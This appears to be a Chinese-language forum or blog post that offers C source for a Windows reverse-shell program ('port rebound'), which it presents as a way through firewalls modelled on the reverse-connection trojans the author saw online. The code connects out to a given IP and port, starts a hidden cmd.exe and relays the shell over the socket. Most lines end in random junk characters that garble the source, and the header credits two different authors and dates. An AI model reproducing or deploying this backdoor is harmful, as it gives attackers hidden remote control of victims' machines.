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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #q4*]qGHm  
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/* ============================== rB]W,8~%  
Rebound port in Windows NT *Wyl2op6  
By wind,2006/7 0#|7U_n  
===============================*/ yMIT(  
#include =Nl5{qYz^&  
#include kEK[\f VE  
k@q Wig  
#pragma comment(lib,"wsock32.lib") B 1w0cS%%:  
nN{dORJlx  
void OutputShell(); 1 Nk1MGV  
SOCKET sClient; ;?im(9h"v!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pv$tTWk  
S|2VP8xY9  
void main(int argc,char **argv) G:Hj;&'2  
{ Xu<FDjr  
WSADATA stWsaData; Pc4R!Tc  
int nRet; :Kay$r0+  
SOCKADDR_IN stSaiClient,stSaiServer; _O 52ai><b  
oMTY)`me  
if(argc != 3) Ve:&'~F2 s  
{ PHkDb/HIx|  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?Y`zg`  
return; /Nqrvy=  
} my[,w$YM  
]N\6h(**wy  
WSAStartup(MAKEWORD(2,2),&stWsaData); -c$z 2Q)  
n2 na9dX)w  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FrR9{YTA .  
j7sU0"7^  
stSaiClient.sin_family = AF_INET; OPJgIU%  
stSaiClient.sin_port = htons(0); C5B=NAc  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Dh8(HiXf:  
-M`D >  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CveWl$T12  
{ /Hk07:"c  
printf("Bind Socket Failed!\n"); ;E2kT GT  
return; XZBj=2~-3  
} =dn1}  
c9|a$^I6  
stSaiServer.sin_family = AF_INET; vcOsq#UW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O2@" w23  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q2R-z^pd  
H:E5xz3VQ  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ris;Iu^v0  
{ gL,"ef+nM  
printf("Connect Error!"); U$@83?O{iM  
return; 49y *xMn  
} 7BrV<)ih{*  
OutputShell(); ~GYpa t  
} G* Ib^;$u  
"0<Sd?Sz  
void OutputShell() iiehrK&T !  
{ DrV0V .t,  
char szBuff[1024]; Lkp&;+  
SECURITY_ATTRIBUTES stSecurityAttributes; 0i _  
OSVERSIONINFO stOsversionInfo; 9g+UJ\u^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m\} =4b  
STARTUPINFO stStartupInfo; !a)s`  
char *szShell; L+(C5L93}  
PROCESS_INFORMATION stProcessInformation; xrX?ZJ  
unsigned long lBytesRead; WxDb3l~  
7n [12:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,?#*eJD  
FB.!`%{  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~ \-r  
stSecurityAttributes.lpSecurityDescriptor = 0; j$%yw4dsj  
stSecurityAttributes.bInheritHandle = TRUE; )j(fWshP  
J,`_,T  
j`+0.Zlq  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SDJ;*s-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eTT^KqE>&  
+Gp!cGaAm  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); XzN-slu!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xf[z EEt  
stStartupInfo.wShowWindow = SW_HIDE; Wu]/(F  
stStartupInfo.hStdInput = hReadPipe; a]{uZGn@i  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \/ X{n*Hw?  
qU}lGf!dVn  
GetVersionEx(&stOsversionInfo); hQP6@KIe)  
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switch(stOsversionInfo.dwPlatformId) 1riBvBT  
{ D@}St:m}  
case 1: HUD7{6}4  
szShell = "command.com"; mC% %)F'Zf  
break; ;*"!:GR%h  
default: ''%;EW>  
szShell = "cmd.exe"; #efqG=q  
break; %h3L  
} jaL$LJV  
X9z:D>   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @yCW8]  
P7cge  
send(sClient,szMsg,77,0); % i %ew4  
while(1) ./'; P <)  
{ (v|ixa  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p"g1V7B  
if(lBytesRead) CL EpB2_  
{ )#)nBM2\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V> 1D1  
send(sClient,szBuff,lBytesRead,0); y4 dp1<t%  
} kT>r<`rt  
else e!.7no  
{ 9$:QLE+t  
lBytesRead=recv(sClient,szBuff,1024,0); -MQZiq7H4  
if(lBytesRead<=0) break; B-B?Ff>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Zm`'MsgFr  
} :QxL 9&"  
} B#| Z`mZ  
:Pj W:]  
return; g?w2J6Z.`J  
}
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